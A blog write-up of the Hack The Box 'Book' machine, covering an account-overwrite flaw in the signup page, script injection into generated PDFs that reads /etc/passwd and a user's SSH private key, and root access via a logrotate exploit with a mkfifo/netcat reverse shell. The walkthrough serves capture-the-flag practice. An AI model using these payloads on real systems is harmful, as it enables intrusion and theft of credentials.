Hackthebox – Book

As with any target, Book also gets several port scans

root@kalivm:~/Book# nmap -sTV -p 1-65535 -oN fullscan_tcp
Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-10 08:12 CEST
Nmap scan report for
Host is up (0.020s latency).
Not shown: 65533 closed ports
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.09 seconds

Only ports 22 and 80 open, this is going to be a webapp box again.

When browsing to the site, it provides me with a login page. I have no credentials yet, so I look around first.

Also on /admin, there appears to be a login page which is slightly different, no sign-up page here.

Nothing more to discover on the outside, time to signup and browse around. However, after some browsing around as my own user, I find nothing of apparent interest and reach out to discord to see if some of my hypothesis were right… all were wrong! However, one user was so nice to point me in a right direction.

It appeared that there is a vulnerability in the signup page. At first, it checks if the length of the username field does not exceed 20 characters. However, for the check if the user exists, it takes the additional characters as well. After that, it just ‘creates’ the user with the new password.

So this allows you to overwrite the admin@book.htb account with a new password and log in.

But it does not just let you log into the main page, it also lets you log into the admin panel which might as well be the next step in getting access to the system.

While browsing through the Admin portal, I notice some differences. Not only can I now see the admin messages and feedback sent by users, I also see a Collections page with PDF download options for Users and Collections PDF files.

The collections pdf contains an overview of the books that have been uploaded to the server.

After some playing around with it, I notice that also books uploaded using the books submission form in the normal portal are listed here. However I had no idea yet how this might be exploited. Some research lead me to this page on file reads via XSS in pdf files. Time to build a Proof of Concept with the common /etc/passwd file.

<script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};x.open('GET','file:///etc/passwd');x.send();</script>

So I send the PoC through Burp and after modifying the request, I submit a new book through the normal portal.

When downloading the Collections pdf file, I immediately notice the exploit was successful and the PDF contains the contents of /etc/passwd. More importantly, I notice that user ID 1000 has the username ‘reader’. Time to repeat the same and see if this user has a private key in its home directory. I prepare another PoC

<script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};x.open('GET','file:///home/reader/.ssh/id_rsa');x.send();</script>

And send it off using Burp again. If this works, I might be able to log in. So I modify the request with the PoC and upload the new book.

Download the PDF again… and there is something that looks like a private key. But those line-endings…. That does not entirely look right

When I copy the contents into a new text file, it becomes apparent that this is not a valid key file. However, after a short discussion on Discord, it was mentioned that this is the right way to go. so back to the OSCP credo, try harder!

When I open the PDF File in LibreOffice, it becomes very clear what happens. Many characters fall outside of the page margins and are therefore not seen by the normal PDF readers. As each of these lines have to selected to copy/paste their content, this appears a tedious job so I decide to use the ‘Open in a browser’ option from libreoffice

That works much better, now all text is selectable at once, and although there are blank lines between each line, this is cleaned up easily.

root@kalivm:~/Book# ssh -i reader.key reader@           
Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 5.4.1-050401-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Fri Apr 10 08:50:18 UTC 2020

  System load:  0.1                Processes:            170
  Usage of /:   27.3% of 19.56GB   Users logged in:      1
  Memory usage: 42%                IP address for ens33:
  Swap usage:   0%

 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:

114 packages can be updated.
0 updates are security updates.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Fri Apr 10 08:34:16 2020 from
reader@book:~$ ls
backups  user.txt

After copying the contents to a keyfile and setting the permissions right, I can now login as user and see the user.txt file in the home directory of the Reader account.

reader@book:~$ cat user.txt

I grab the key and continue on to privilege escalation.

Privilege Escalation

After some looking around, doing the regular privilege escalation steps, I check the running processes with pspy,

reader@book:/tmp/sedje$ ./pspy64
Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scannning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
2020/04/10 09:13:42 CMD: UID=0    PID=33331  | /usr/sbin/logrotate -f /root/log.cfg 
2020/04/10 09:13:42 CMD: UID=0    PID=33330  | /bin/sh /root/log.sh 
2020/04/10 09:13:42 CMD: UID=0    PID=33332  | sleep 5 

After watching for some time, I notice the logrotate command comming back over and over again, reading a file in /root and then doing stuff apparently. One other thing that I noticed, was that the backups directory in reader’s home contained an access.log file. After some research I came to this github page with an exploit for logrotate. It was very specific about versions, so I checked the system to see if it was feasible.

reader@book:/tmp/sedje$ dpkg -l logrotate
| Status=Not/Inst/Conf-files/Unpacked/halF-conf/Half-inst/trig-aWait/Trig-pend
|/ Err?=(none)/Reinst-required (Status,Err: uppercase=bad)
||/ Name                        Version            Architecture       Description
ii  logrotate                   3.11.0-0.1ubuntu1  amd64              Log rotation utility

And yes! LogRotate 3.11 is also mentioned in that post, so I decide to try this and follow the steps mentioned on the github page.

reader@book:/tmp/sedje$ cat sed
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 9000 >/tmp/f

I build my payload with a reverse shell back to my system

reader@book:/tmp$ ./logrotten -p ./sed ~/backups/access.log
Waiting for rotating /home/reader/backups/access.log...
Renamed /home/reader/backups with /home/reader/backups2 and created symlink to /etc/bash_completion.d
Waiting 1 seconds before writing payload...

I run the exploit on the access.log file… and see that it gets disconnected after a few seconds. So I have to be quick and start the exploit and listener again.

root@kalivm:~/Book# rlwrap nc -nlvp 9000
Listening on 9000
Connection received on 34492
# id
uid=0(root) gid=0(root) groups=0(root)
# cat ~/root.txt

And there is the root flag! 5 days, 5 boxes My goal for this Quarantine-Holiday is completed!

Leave a Reply

Your email address will not be published.

This site uses Akismet to reduce spam. Learn how your comment data is processed.